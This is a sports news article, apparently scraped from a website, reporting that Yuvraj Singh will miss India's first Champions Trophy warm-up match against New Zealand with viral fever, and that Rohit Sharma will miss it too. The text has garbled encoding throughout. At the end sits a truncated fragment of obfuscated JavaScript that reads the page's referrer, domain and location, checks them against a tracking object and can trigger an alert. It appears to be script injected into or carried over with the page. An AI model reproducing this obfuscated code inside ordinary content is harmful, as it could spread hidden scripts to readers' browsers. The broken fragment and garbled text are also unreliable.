Indian Southpaw Yuvraj Singh ruled out of first warm-up match against New Zealand at The Oval due to illness.

Yuvraj Singh, Indian middle order batsman will not take part in Indiaas first warm-up match of Champions Trophy; against New Zealand on Sunday, May 28 due to viral fever.

Yesterday, Board of Control for Cricket in India (BCCI) stated in press release that the southpaw is down with viral fever but is making steady progress. a?The BCCI Medical Team confirms that Indian all-rounder Yuvraj Singh who is presently down with viral fever is making steady progress. There are no major health concerns and he is recuperating well, to the satisfaction of the medical team.a? a BCCI media release stated.

Yuvraj Advised Rest

The 35 year, all-rounder who was missing from teamas practice sessions on Friday at Lords and Saturday at Oval; due to fever is expected to get recovered before Indiaas second warm up match against Bangladesh. a?He is advised rest and will miss Indiaas first warm-up match against New Zealand at The Oval on May 28, 2017. The medical team will continue to monitor Yuvraj Singhas progress and hope for a speedy recovery.a? The release added.

The veteran made comeback to the ODI team in a home series against England in January 2017; where he smashed career best 150 off 127 balls in second match of that series. He had a decent outing in recently concluded IPL; where he scored 252 runs with 2 half centuries in 12 matches.

Indian Skipper, Virat Kohli had spoken a lot about the left handed batsman; hailing him as one of the pillars of Indian batting line up.

Rohit Sharma will also miss the first warm up match. He did not travel with the team as he had to attend his brotheras wedding. Both the batsmen, Yuvraj and Rohit are expected to play in second warm-up match against Bangladesh on Tuesday, May 30. 322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

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